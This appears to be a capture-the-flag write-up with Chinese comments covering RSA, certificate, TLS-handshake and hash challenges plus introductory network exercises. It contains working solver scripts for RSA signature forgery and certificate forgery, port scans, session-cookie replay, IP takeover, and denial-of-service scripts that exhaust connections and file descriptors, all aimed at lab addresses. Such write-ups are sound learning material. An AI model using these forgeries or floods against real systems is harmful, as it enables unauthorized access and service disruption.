user_signer_key = root_trusted_certificates[user_signer]["key"]
user_certificate_hash = SHA256Hash(user_certificate_data).digest()
user_certificate_check = pow(
int.from_bytes(user_certificate_signature, "little"),
user_signer_key["e"],
user_signer_key["n"]
).to_bytes(256, "little")[:len(user_certificate_hash)]

if user_certificate_check != user_certificate_hash:
print("Untrusted user certificate: invalid signature", file=sys.stderr)
exit(1)

ciphertext = pow(int.from_bytes(flag, "little"), user_key["e"], user_key["n"]).to_bytes(256, "little")
show_b64("secret ciphertext", ciphertext)


def level14():
"""
In this challenge you will perform a simplified Transport Layer Security (TLS) handshake, acting as the server.
You will be provided with Diffie-Hellman parameters, a self-signed root certificate, and the root private key.
The client will request to establish a secure channel with a particular name, and initiate a Diffie-Hellman key exchange.
The server must complete the key exchange, and derive an AES-128 key from the exchanged secret.
Then, using the encrypted channel, the server must supply the requested user certificate, signed by root.
Finally, using the encrypted channel, the server must sign the handshake to prove ownership of the private user key.
"""
# 2048-bit MODP Group from RFC3526
p = int.from_bytes(bytes.fromhex(
"FFFFFFFF FFFFFFFF C90FDAA2 2168C234 C4C6628B 80DC1CD1 "
"29024E08 8A67CC74 020BBEA6 3B139B22 514A0879 8E3404DD "
"EF9519B3 CD3A431B 302B0A6D F25F1437 4FE1356D 6D51C245 "
"E485B576 625E7EC6 F44C42E9 A637ED6B 0BFF5CB6 F406B7ED "
"EE386BFB 5A899FA5 AE9F2411 7C4B1FE6 49286651 ECE45B3D "
"C2007CB8 A163BF05 98DA4836 1C55D39A 69163FA8 FD24CF5F "
"83655D23 DCA3AD96 1C62F356 208552BB 9ED52907 7096966D "
"670C354E 4ABC9804 F1746C08 CA18217C 32905E46 2E36CE3B "
"E39E772C 180E8603 9B2783A2 EC07A28F B5C55DF0 6F4C52C9 "
"DE2BCBF6 95581718 3995497C EA956AE5 15D22618 98FA0510 "
"15728E5A 8AACAA68 FFFFFFFF FFFFFFFF"
), "big")
g = 2

show_hex("p", p)
show_hex("g", g)

root_key = RSA.generate(2048)

show_hex("root key d", root_key.d)

root_certificate = {
"name": "root",
"key": {
"e": root_key.e,
"n": root_key.n,
},
"signer": "root",
}

root_trusted_certificates = {
"root": root_certificate,
}

root_certificate_data = json.dumps(root_certificate).encode()
root_certificate_hash = SHA256Hash(root_certificate_data).digest()
root_certificate_signature = pow(
int.from_bytes(root_certificate_hash, "little"),
root_key.d,
root_key.n
).to_bytes(256, "little")

show_b64("root certificate", root_certificate_data)
show_b64("root certificate signature", root_certificate_signature)

name = ''.join(random.choices(string.ascii_lowercase, k=16))
show("name", name)

a = getrandbits(2048)
A = pow(g, a, p)
show_hex("A", A)

B = input_hex("B")
if not (B > 2**1024):
print("Invalid B value (B <= 2**1024)", file=sys.stderr)
exit(1)

s = pow(B, a, p)
key = SHA256Hash(s.to_bytes(256, "little")).digest()[:16]
cipher_encrypt = AES.new(key=key, mode=AES.MODE_CBC, iv=b"\0"*16)
cipher_decrypt = AES.new(key=key, mode=AES.MODE_CBC, iv=b"\0"*16)

def decrypt_input_b64(name):
data = input_b64(name)
try:
return unpad(cipher_decrypt.decrypt(data), cipher_decrypt.block_size)
except ValueError as e:
print(f"{name}: {e}", file=sys.stderr)
exit(1)

user_certificate_data = decrypt_input_b64("user certificate")
user_certificate_signature = decrypt_input_b64("user certificate signature")
user_signature = decrypt_input_b64("user signature")

try:
user_certificate = json.loads(user_certificate_data)
except json.JSONDecodeError:
print("Invalid user certificate", file=sys.stderr)
exit(1)

user_name = user_certificate.get("name")
if user_name != name:
print(f"Invalid user certificate name: `{user_name}`", file=sys.stderr)
exit(1)

user_key = user_certificate.get("key", {})
if not (isinstance(user_key.get("e"), int) and isinstance(user_key.get("n"), int)):
print(f"Invalid user certificate key: `{user_key}`", file=sys.stderr)
exit(1)

if not (user_key["e"] > 2):
print("Invalid user certificate key e value (e > 2)", file=sys.stderr)
exit(1)

if not (2**512 < user_key["n"] < 2**1024):
print("Invalid user certificate key n value (2**512 < n < 2**1024)", file=sys.stderr)
exit(1)

user_signer = user_certificate.get("signer")
if user_signer not in root_trusted_certificates:
print(f"Untrusted user certificate signer: `{user_signer}`", file=sys.stderr)
exit(1)

user_signer_key = root_trusted_certificates[user_signer]["key"]
user_certificate_hash = SHA256Hash(user_certificate_data).digest()
user_certificate_check = pow(
int.from_bytes(user_certificate_signature, "little"),
user_signer_key["e"],
user_signer_key["n"]
).to_bytes(256, "little")[:len(user_certificate_hash)]

if user_certificate_check != user_certificate_hash:
print("Untrusted user certificate: invalid signature", file=sys.stderr)
exit(1)

user_signature_data = (
name.encode().ljust(256, b"\0") +
A.to_bytes(256, "little") +
B.to_bytes(256, "little")
)
user_signature_hash = SHA256Hash(user_signature_data).digest()
user_signature_check = pow(
int.from_bytes(user_signature, "little"),
user_key["e"],
user_key["n"]
).to_bytes(256, "little")[:len(user_signature_hash)]

if user_signature_check != user_signature_hash:
print("Untrusted user: invalid signature", file=sys.stderr)
exit(1)

ciphertext = cipher_encrypt.encrypt(pad(flag, cipher_encrypt.block_size))
show_b64("secret ciphertext", ciphertext)


def challenge():
challenge_level = globals()[f"level{level}"]
description = textwrap.dedent(challenge_level.__doc__)

print("===== Welcome to Cryptography! =====")
print("In this series of challenges, you will be working with various cryptographic mechanisms.")
print(description)
print()

challenge_level()


challenge()

.config -> 11

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import *
from pwn import log, process

pro = process(["/challenge/run"], stdin=process.PTY, stdout=process.PTY)
log.info("START")
pro.recvuntil(b"e: ")
e = int(pro.recvline().strip(), 16)

pro.recvuntil(b"d: ")
d = int(pro.recvline().strip(), 16)

pro.recvuntil(b"n: ")
n = int(pro.recvline().strip(), 16)

pro.recvuntil(b"challenge: ")
challenge = int(pro.recvline().strip(), 16)

ciphertext = pow(challenge, d, n)

pro.recvuntil(b"response: ")
# 把整数转成十六进制字符串,切掉 0x,再编码成 bytes 流
pro.sendline(hex(ciphertext)[2:].encode())

pro.interactive()

RSA 4

.config -> 12

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
def level12():
"""
In this challenge you will complete an RSA challenge-response.
You will provide the public key.
"""
e = input_hex("e")
n = input_hex("n")

if not (e > 2):
print("Invalid e value (e > 2)", file=sys.stderr)
exit(1)

if not (2**512 < n < 2**1024):
print("Invalid n value (2**512 < n < 2**1024)", file=sys.stderr)
exit(1)

challenge = int.from_bytes(get_random_bytes(64), "little")
show_hex("challenge", challenge)

response = input_hex("response")
if pow(response, e, n) == challenge:
ciphertext = pow(int.from_bytes(flag, "little"), e, n).to_bytes(256, "little")
show_b64("secret ciphertext", ciphertext)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from Crypto.PublicKey import RSA
from pwn import *
from pwn import b64d, log, process

pro = process(["/challenge/run"], stdin=process.PTY, stdout=process.PTY)
log.info("START")

key = RSA.generate(1024)

e = key.e
d = key.d
n = key.n
pro.recvuntil(b"e: ")
pro.sendline(hex(e)[2:].encode())

pro.recvuntil(b"n: ")
pro.sendline(hex(n)[2:].encode())

pro.recvuntil(b"challenge: ")
challenge = int(pro.recvline().strip(), 16)

ciphertext = pow(challenge, d, n)

pro.recvuntil(b"response: ")
# 把整数转成十六进制字符串,切掉 0x,再编码成 bytes 流
pro.sendline(hex(ciphertext)[2:].encode())

pro.recvuntil(b"secret ciphertext (b64): ")
b = b64d(pro.recvline().strip())

flag = int.from_bytes(b, "little")

print(pow(flag, d, n).to_bytes(256, "little"))

pro.interactive()

RSA Signatures

Signing Oracle

同态乘法特性 (Homomorphic Multiplication)。在数学上,两个消息的签名相乘,等于它们乘积的签名:

Sig(m1) × Sig(m2) ≡ Sig(m1 × m2) (mod  n)

b"flag" 的小端序整数值是 1734437990,这是一个偶数。我们将它除以 2:

  • m1 = 2 (对应字节 b"\x02"
  • m2 = 1734437990/2 = 867218995 (对应字节 b"\xb3\xea\xb0\x33"

这两个数字的字节流中都不包含 b"flag",可以完美 Bypass dispatcher 的过滤机制。让它们各自被签名,然后把签名相乘,就能生成真正 1734437990 的签名!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
# worker
#!/usr/bin/exec-suid -- /usr/bin/python3 -I

import sys

from base64 import b64decode

n = int(open("/challenge/key-n").read(), 16)
e = int(open("/challenge/key-e").read(), 16)

if len(sys.argv) < 2:
print(f"Usage: {sys.argv[0]} [signature-b64]")
sys.exit(1)

signature = b64decode(sys.argv[1])
c = int.from_bytes(signature, "little")
assert c < n, "Message too big!"
command = pow(c, e, n).to_bytes(256, "little").rstrip(b"\x00")

print(f"Received signed command: {command}")
if command == b"flag":
print(open("/flag").read())

# dispatcher
#!/usr/bin/exec-suid -- /usr/bin/python3 -I

import sys

from base64 import b64encode, b64decode

n = int(open("/challenge/key-n").read(), 16)
d = int(open("/challenge/key-d").read(), 16)

if len(sys.argv) < 2:
print(f"Usage: {sys.argv[0]} [command-b64]")
sys.exit(1)

command = b64decode(sys.argv[1].strip("\0"))

if b"flag" in command:
print(f"Command contains 'flag'")
sys.exit(1)

signature = pow(int.from_bytes(command, "little"), d, n).to_bytes(256, "little")
print(f"Signed command (b64): {b64encode(signature).decode()}")
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from pwn import *
from pwn import b64d, b64e, log, process

log.info("START")

n = int(open("/challenge/key-n").read(), 16)
e = int(open("/challenge/key-e").read(), 16)

# The target integer representation of b"flag" (little endian)
# 0x67616c66 = 1734437990
target_int = int.from_bytes(b"flag", "little")

# Factor the integer into two parts to bypass the "flag" substring filter
m1 = 2
m2 = target_int // 2

# Convert factors back to bytes
command1 = m1.to_bytes(1, "little")
command2 = m2.to_bytes(4, "little")

c1 = b64e(command1).encode()
c2 = b64e(command2).encode()

# Fetch signature 1
p1 = process(["/challenge/dispatcher", c1])
p1.recvuntil(b"Signed command (b64): ")
signature1 = int.from_bytes(b64d(p1.recvline().strip()), "little")
p1.close()

# Fetch signature 2
p2 = process(["/challenge/dispatcher", c2])
p2.recvuntil(b"Signed command (b64): ")
signature2 = int.from_bytes(b64d(p2.recvline().strip()), "little")
p2.close()

# Homomorphic Multiplication to forge the final signature
signature = pow(signature1 * signature2, 1, n).to_bytes(256, "little")

# Profit
p3 = process(["/challenge/worker", b64e(signature)])
p3.interactive()

cryptographic hashes

sha1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# challenge
#!/usr/bin/exec-suid -- /usr/bin/python3 -I

flag = open("/flag").read()
prefix_length = 6
flag_hash = hashlib.sha256(flag.encode("latin")).hexdigest()
print(f"{flag_hash[:prefix_length]=}")

collision = bytes.fromhex(input("Colliding input? ").strip())
collision_hash = hashlib.sha256(collision).hexdigest()
print(f"{collision_hash[:prefix_length]=}")
if collision_hash[:prefix_length] == flag_hash[:prefix_length]:
print("Collided!")
print(flag)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import hashlib

from pwn import *
from pwn import log, process

log.info("START")

p = process(["/challenge/run"], stdin=process.PTY, stdout=process.PTY)

p.recvuntil(b"flag_hash[:prefix_length]=")
collision = p.recvline().strip().replace(b"'", b"").decode()

prefix_length = 6
count = 0

while True:
flag = str(count).encode()
flag_hash = hashlib.sha256(flag).hexdigest()

if flag_hash[:prefix_length] == collision:
break

count += 1
if count % 1000000 == 0:
log.info(f"Tried {count} combinations...")


p.sendlineafter(b"Colliding input? ", flag.hex().encode())
p.interactive()

sha2

.config -> 10

1
2
3
4
5
6
7
8
9
10
11
12
13
14
def level10():
"""
In this challenge you will hash data with a Secure Hash Algorithm (SHA256).
You will compute a small proof-of-work.
Your goal is to find response data, which when appended to the challenge data and hashed, begins with 2 null-bytes.
"""
difficulty = 2

challenge = get_random_bytes(32)
show_b64("challenge", challenge)

response = input_b64("response")
if SHA256Hash(challenge + response).digest()[:difficulty] == (b'\0' * difficulty):
show("flag", flag.decode())
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import itertools

from Crypto.Hash.SHA256 import SHA256Hash
from pwn import *
from pwn import b64d, b64e, log, process

log.info("START")

p = process(["/challenge/run"], stdin=process.PTY, stdout=process.PTY)

difficulty = 2

p.recvuntil(b"challenge (b64): ")
challenge = b64d(p.recvline().strip())

for count in itertools.count():
if SHA256Hash(challenge + count.to_bytes(256, "big")).digest()[:difficulty] == (
b"\0" * difficulty
):
break

if count % 1000000 == 0:
log.info(f"Tried {count} combinations...")

p.recvuntil(b"response (b64): ")
p.sendline(b64e(count.to_bytes(256, "big")))

p.interactive()

trust

TLS1

.config -> 13

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
def level13():
"""
In this challenge you will work with public key certificates.
You will be provided with a self-signed root certificate.
You will also be provided with the root private key, and must use that to sign a user certificate.
"""
root_key = RSA.generate(2048)

show_hex("root key d", root_key.d)

root_certificate = {
"name": "root",
"key": {
"e": root_key.e,
"n": root_key.n,
},
"signer": "root",
}

root_trusted_certificates = {
"root": root_certificate,
}

root_certificate_data = json.dumps(root_certificate).encode()
root_certificate_hash = SHA256Hash(root_certificate_data).digest()
root_certificate_signature = pow(
int.from_bytes(root_certificate_hash, "little"),
root_key.d,
root_key.n
).to_bytes(256, "little")

show_b64("root certificate", root_certificate_data)
show_b64("root certificate signature", root_certificate_signature)

user_certificate_data = input_b64("user certificate")
user_certificate_signature = input_b64("user certificate signature")

try:
user_certificate = json.loads(user_certificate_data)
except json.JSONDecodeError:
print("Invalid user certificate", file=sys.stderr)
exit(1)

user_name = user_certificate.get("name")
if user_name in root_trusted_certificates:
print(f"Invalid user certificate name: `{user_name}`", file=sys.stderr)
exit(1)

user_key = user_certificate.get("key", {})
if not (isinstance(user_key.get("e"), int) and isinstance(user_key.get("n"), int)):
print(f"Invalid user certificate key: `{user_key}`", file=sys.stderr)
exit(1)

if not (user_key["e"] > 2):
print("Invalid user certificate key e value (e > 2)", file=sys.stderr)
exit(1)

if not (2**512 < user_key["n"] < 2**1024):
print("Invalid user certificate key n value (2**512 < n < 2**1024)", file=sys.stderr)
exit(1)

user_signer = user_certificate.get("signer")
if user_signer not in root_trusted_certificates:
print(f"Untrusted user certificate signer: `{user_signer}`", file=sys.stderr)
exit(1)

user_signer_key = root_trusted_certificates[user_signer]["key"]
user_certificate_hash = SHA256Hash(user_certificate_data).digest()
user_certificate_check = pow(
int.from_bytes(user_certificate_signature, "little"),
user_signer_key["e"],
user_signer_key["n"]
).to_bytes(256, "little")[:len(user_certificate_hash)]

if user_certificate_check != user_certificate_hash:
print("Untrusted user certificate: invalid signature", file=sys.stderr)
exit(1)

ciphertext = pow(int.from_bytes(flag, "little"), user_key["e"], user_key["n"]).to_bytes(256, "little")
show_b64("secret ciphertext", ciphertext)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
import json

from Crypto.Hash.SHA256 import SHA256Hash
from Crypto.PublicKey import RSA
from pwn import *
from pwn import b64d, b64e, log, process

user_key = RSA.generate(1024)

p = process(["/challenge/run"], stdin=process.PTY, stdout=process.PTY)

p.recvuntil(b"root key d: ")
d = int(p.recvline().strip(), 16)

p.recvuntil(b"root certificate (b64): ")
cert = b64d(p.recvline().strip())

p.recvuntil(b"root certificate signature (b64): ")
cert_sig = b64d(p.recvline().strip())


root_cert_dict = json.loads(cert)
root_n = root_cert_dict["key"]["n"]

user_cert_dict = {
"name": "user",
"key": {
"e": user_key.e,
"n": user_key.n,
},
"signer": "root",
}

user_cert_data = json.dumps(user_cert_dict).encode()
user_cert_hash = SHA256Hash(user_cert_data).digest()

user_cert_signature = pow(int.from_bytes(user_cert_hash, "little"), d, root_n).to_bytes(
256, "little"
)

p.recvuntil(b"user certificate (b64): ")
p.sendline(b64e(user_cert_data))

p.recvuntil(b"user certificate signature (b64): ")
p.sendline(b64e(user_cert_signature).encode())

p.recvuntil(b"secret ciphertext (b64): ")
ciphertext = b64d(p.recvline().strip())

flag_int = pow(int.from_bytes(ciphertext, "little"), user_key.d, user_key.n)

flag = flag_int.to_bytes(256, "little").replace(b"\x00", b"")
log.success(f"Flag recovered: {flag.decode('utf-8')}")

p.interactive()

TLS2

.config -> 14

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
def level14():
"""
In this challenge you will perform a simplified Transport Layer Security (TLS) handshake, acting as the server.
You will be provided with Diffie-Hellman parameters, a self-signed root certificate, and the root private key.
The client will request to establish a secure channel with a particular name, and initiate a Diffie-Hellman key exchange.
The server must complete the key exchange, and derive an AES-128 key from the exchanged secret.
Then, using the encrypted channel, the server must supply the requested user certificate, signed by root.
Finally, using the encrypted channel, the server must sign the handshake to prove ownership of the private user key.
"""
# 2048-bit MODP Group from RFC3526
p = int.from_bytes(bytes.fromhex(
"FFFFFFFF FFFFFFFF C90FDAA2 2168C234 C4C6628B 80DC1CD1 "
"29024E08 8A67CC74 020BBEA6 3B139B22 514A0879 8E3404DD "
"EF9519B3 CD3A431B 302B0A6D F25F1437 4FE1356D 6D51C245 "
"E485B576 625E7EC6 F44C42E9 A637ED6B 0BFF5CB6 F406B7ED "
"EE386BFB 5A899FA5 AE9F2411 7C4B1FE6 49286651 ECE45B3D "
"C2007CB8 A163BF05 98DA4836 1C55D39A 69163FA8 FD24CF5F "
"83655D23 DCA3AD96 1C62F356 208552BB 9ED52907 7096966D "
"670C354E 4ABC9804 F1746C08 CA18217C 32905E46 2E36CE3B "
"E39E772C 180E8603 9B2783A2 EC07A28F B5C55DF0 6F4C52C9 "
"DE2BCBF6 95581718 3995497C EA956AE5 15D22618 98FA0510 "
"15728E5A 8AACAA68 FFFFFFFF FFFFFFFF"
), "big")
g = 2

show_hex("p", p)
show_hex("g", g)

root_key = RSA.generate(2048)

show_hex("root key d", root_key.d)

root_certificate = {
"name": "root",
"key": {
"e": root_key.e,
"n": root_key.n,
},
"signer": "root",
}

root_trusted_certificates = {
"root": root_certificate,
}

root_certificate_data = json.dumps(root_certificate).encode()
root_certificate_hash = SHA256Hash(root_certificate_data).digest()
root_certificate_signature = pow(
int.from_bytes(root_certificate_hash, "little"),
root_key.d,
root_key.n
).to_bytes(256, "little")

show_b64("root certificate", root_certificate_data)
show_b64("root certificate signature", root_certificate_signature)

name = ''.join(random.choices(string.ascii_lowercase, k=16))
show("name", name)

a = getrandbits(2048)
A = pow(g, a, p)
show_hex("A", A)

B = input_hex("B")
if not (B > 2**1024):
print("Invalid B value (B <= 2**1024)", file=sys.stderr)
exit(1)

s = pow(B, a, p)
key = SHA256Hash(s.to_bytes(256, "little")).digest()[:16]
cipher_encrypt = AES.new(key=key, mode=AES.MODE_CBC, iv=b"\0"*16)
cipher_decrypt = AES.new(key=key, mode=AES.MODE_CBC, iv=b"\0"*16)

def decrypt_input_b64(name):
data = input_b64(name)
try:
return unpad(cipher_decrypt.decrypt(data), cipher_decrypt.block_size)
except ValueError as e:
print(f"{name}: {e}", file=sys.stderr)
exit(1)

user_certificate_data = decrypt_input_b64("user certificate")
user_certificate_signature = decrypt_input_b64("user certificate signature")
user_signature = decrypt_input_b64("user signature")

try:
user_certificate = json.loads(user_certificate_data)
except json.JSONDecodeError:
print("Invalid user certificate", file=sys.stderr)
exit(1)

user_name = user_certificate.get("name")
if user_name != name:
print(f"Invalid user certificate name: `{user_name}`", file=sys.stderr)
exit(1)

user_key = user_certificate.get("key", {})
if not (isinstance(user_key.get("e"), int) and isinstance(user_key.get("n"), int)):
print(f"Invalid user certificate key: `{user_key}`", file=sys.stderr)
exit(1)

if not (user_key["e"] > 2):
print("Invalid user certificate key e value (e > 2)", file=sys.stderr)
exit(1)

if not (2**512 < user_key["n"] < 2**1024):
print("Invalid user certificate key n value (2**512 < n < 2**1024)", file=sys.stderr)
exit(1)

user_signer = user_certificate.get("signer")
if user_signer not in root_trusted_certificates:
print(f"Untrusted user certificate signer: `{user_signer}`", file=sys.stderr)
exit(1)

user_signer_key = root_trusted_certificates[user_signer]["key"]
user_certificate_hash = SHA256Hash(user_certificate_data).digest()
user_certificate_check = pow(
int.from_bytes(user_certificate_signature, "little"),
user_signer_key["e"],
user_signer_key["n"]
).to_bytes(256, "little")[:len(user_certificate_hash)]

if user_certificate_check != user_certificate_hash:
print("Untrusted user certificate: invalid signature", file=sys.stderr)
exit(1)

user_signature_data = (
name.encode().ljust(256, b"\0") +
A.to_bytes(256, "little") +
B.to_bytes(256, "little")
)
user_signature_hash = SHA256Hash(user_signature_data).digest()
user_signature_check = pow(
int.from_bytes(user_signature, "little"),
user_key["e"],
user_key["n"]
).to_bytes(256, "little")[:len(user_signature_hash)]

if user_signature_check != user_signature_hash:
print("Untrusted user: invalid signature", file=sys.stderr)
exit(1)

ciphertext = cipher_encrypt.encrypt(pad(flag, cipher_encrypt.block_size))
show_b64("secret ciphertext", ciphertext)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
import json
import random

from Crypto.Cipher import AES
from Crypto.Hash import SHA256
from Crypto.PublicKey import RSA
from Crypto.Util.Padding import pad, unpad
from pwn import *
from pwn import b64d, b64e, log, process

p = process(["/challenge/run"])

log.info("START")

# 1. 提取 DH 参数和 Root 信息
p.recvuntil(b"p: ")
dh_p = int(p.recvline().strip(), 16)
p.recvuntil(b"g: ")
dh_g = int(p.recvline().strip(), 16)

p.recvuntil(b"root key d: ")
root_d = int(p.recvline().strip(), 16)

p.recvuntil(b"root certificate (b64): ")
root_cert_b64 = p.recvline().strip()
root_cert = json.loads(b64d(root_cert_b64).decode())
root_n = root_cert["key"]["n"]

# 跳过 root cert signature 输出
p.recvuntil(b"root certificate signature (b64): ")
p.recvline()

# 2. 获取 Client 信息
p.recvuntil(b"name: ")
client_name = p.recvline().strip().decode()
log.info(f"Target connection name: {client_name}")

p.recvuntil(b"A: ")
client_A = int(p.recvline().strip(), 16)

# 3. Diffie-Hellman Key Exchange
log.info("Initiating DH Key Exchange...")
b_priv = random.getrandbits(2048)
server_B = pow(dh_g, b_priv, dh_p)

# 发送我们的 Public Key B
p.recvuntil(b"B: ")
p.sendline(hex(server_B)[2:].encode())

# 计算 Shared Secret 并派生 AES Key
shared_secret = pow(client_A, b_priv, dh_p)
aes_key = SHA256.new(shared_secret.to_bytes(256, "little")).digest()[:16]

# 初始化 AES-CBC Cipher (Encryptor)
cipher_encrypt = AES.new(key=aes_key, mode=AES.MODE_CBC, iv=b"\0" * 16)


def encrypt_and_b64(data: bytes) -> bytes:
padded_data = pad(data, 16)
encrypted = cipher_encrypt.encrypt(padded_data)
return b64e(encrypted).encode()


# 4. 伪造 User Certificate
log.info("Forging user certificate and signatures...")
user_key = RSA.generate(1024)

user_cert_dict = {
"name": client_name, # 必须匹配 Client 请求的名字
"key": {
"e": user_key.e,
"n": user_key.n,
},
"signer": "root",
}

user_cert_data = json.dumps(user_cert_dict).encode()
user_cert_hash = SHA256.new(user_cert_data).digest()

# 用泄漏的 root 私钥签名 User Cert
user_cert_sig = pow(int.from_bytes(user_cert_hash, "little"), root_d, root_n).to_bytes(
256, "little"
)

# 5. 生成 User Handshake Signature
signature_payload = (
client_name.encode().ljust(256, b"\0")
+ client_A.to_bytes(256, "little")
+ server_B.to_bytes(256, "little")
)
user_sig_hash = SHA256.new(signature_payload).digest()

# 用我们刚才生成的 user 私钥签名 handshake payload
user_signature = pow(
int.from_bytes(user_sig_hash, "little"), user_key.d, user_key.n
).to_bytes(256, "little")

# 6. 发送加密的握手数据
log.info("Sending encrypted payload via secure channel...")
p.recvuntil(b"user certificate (b64): ")
p.sendline(encrypt_and_b64(user_cert_data))

p.recvuntil(b"user certificate signature (b64): ")
p.sendline(encrypt_and_b64(user_cert_sig))

p.recvuntil(b"user signature (b64): ")
p.sendline(encrypt_and_b64(user_signature))

# 7. 解密 Flag
p.recvuntil(b"secret ciphertext (b64): ")
encrypted_flag = b64d(p.recvline().strip())

# 初始化一个新的 AES Cipher 用于 Decrypt (因为 AES.CBC 是有状态的,或者用同一个重置 IV,但新开一个更稳)
cipher_decrypt = AES.new(key=aes_key, mode=AES.MODE_CBC, iv=b"\0" * 16)
flag = unpad(cipher_decrypt.decrypt(encrypted_flag), 16).decode()

log.success(f"{flag}")

scan

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
# 1 - basic connect
nc 10.0.0.2 31337

# 2 - TCP half-close: need -N to send EOF after stdin closes
nc -N 10.0.0.2 31337

# 3 - listen
nc -l -p 31337

# 4 - ping sweep /24 + connect
for i in $(seq 256); do ping -w 1 -c 1 10.0.0.$i & done
nc 10.0.0.110 31337

# 5 - nmap /16 subnet scan
nmap -v -n -Pn -p 31337 --min-rate 10000 --open 10.0.0.0/16
nc 10.0.246.42 31337

# 6 - session replay
curl "http://10.0.0.2/flag?user=admin" \
--cookie "session=eyJ1c2VyIjoiYWRtaW4ifQ.abFrwg.CMU_GnBUwk4-UoCFYjokaWxhgDI"

# 7 - IP takeover: claim 10.0.0.3 and listen
ip addr add 10.0.0.3/24 dev eth0
ip link set eth0 up
nc -l -p 31337

firewall

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 1 - drop incoming on port
iptables -A INPUT -p tcp --dport 31337 -j DROP

# 2 - drop from specific source
iptables -I INPUT -s 10.0.0.3 -p tcp --dport 31337 -j DROP

# 3 - accept outgoing
iptables -I OUTPUT -p tcp --dport 31337 -j ACCEPT

# 4 - forward drop (specific src)
iptables -I FORWARD -s 10.0.0.3 -d 10.0.0.2 -p tcp --dport 31337 -j DROP

# 5 - forward drop (all)
iptables -I FORWARD -p tcp --dport 31337 -j DROP

DoS

connection queue exhaustion

server uses listen(1) (single backlog), exhaust it with concurrent connections:

1
nc 10.0.0.2 31337 & nc 10.0.0.2 31337 & nc 10.0.0.2 31337 &

fd exhaustion

1
for i in {1..500}; do exec {fd}<>/dev/tcp/10.0.0.2/31337 2>/dev/null; done

forking server DoS

server uses ForkingTCPServer, client prints flag on timeout. flood with ghost connections that hold sockets open:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import socket, threading, time

def ghost_connection():
while True:
try:
with socket.socket() as s:
s.settimeout(0.1)
s.connect(("10.0.0.2", 31337))
s.settimeout(5.0)
s.recv(1) # hold connection open
except Exception:
pass

for _ in range(100):
threading.Thread(target=ghost_connection, daemon=True).start()
while True:
time.sleep(1)

scapy

CTF 环境中主机通过 veth pair 连接到 Linux Bridge(二层交换机)。Bridge 会学习 Source MAC 并记录到 CAM 表,全零 MAC 或非法多播地址会被内核作为 Martian MAC 直接丢弃。必须使用真实 MAC 地址才能让包通过。

raw packets

1
2
3
4
5
6
7
8
9
10
from scapy.all import send, sendp, Ether, IP, TCP

# L2 - ethernet frame (must use real source MAC)
sendp(Ether(src="aa:98:41:69:f7:79", dst="ff:ff:ff:ff:ff:ff", type=0xFFFF), iface="eth0")

# L3 - IP packet with custom protocol
send(IP(dst="10.0.0.2", proto=0xff), iface="eth0")

# L4 - TCP with specific fields
send(IP(dst="10.0.0.2") / TCP(sport=31337, dport=31337, seq=31337, ack=31337, flags="APRSF"), iface="eth0")

TCP handshake

Scapy 绕过系统传输层协议栈直接发包。当目标返回 SYN-ACK 时,内核发现没有对应的 socket 记录,会按 RFC 规范自动发送 RST 掐断连接。需要用 iptables 在 Netfilter 层拦截内核的 RST:

1
iptables -A OUTPUT -p tcp --tcp-flags RST RST -s 10.0.0.1 -d 10.0.0.2 --dport 31337 -j DROP

three-way handshake with scapy:

1
2
3
4
5
6
7
8
9
10
11
12
13
from scapy.all import send, sr1, IP, TCP

ip = IP(dst="10.0.0.2")

# SYN
syn_ack = sr1(ip / TCP(sport=31337, dport=31337, seq=31337, flags="S"), timeout=2)

# ACK
send(ip / TCP(
sport=31337, dport=31337, flags="A",
seq=syn_ack[TCP].ack,
ack=syn_ack[TCP].seq + 1,
))

UDP

1
2
3
4
from scapy.all import send, sr1, Raw, IP, UDP

ans = sr1(IP(dst="10.0.0.2") / UDP(sport=31337, dport=31337) / Raw(b"Hello, World!\n"))
print(ans[Raw].load)

UDP spoofing

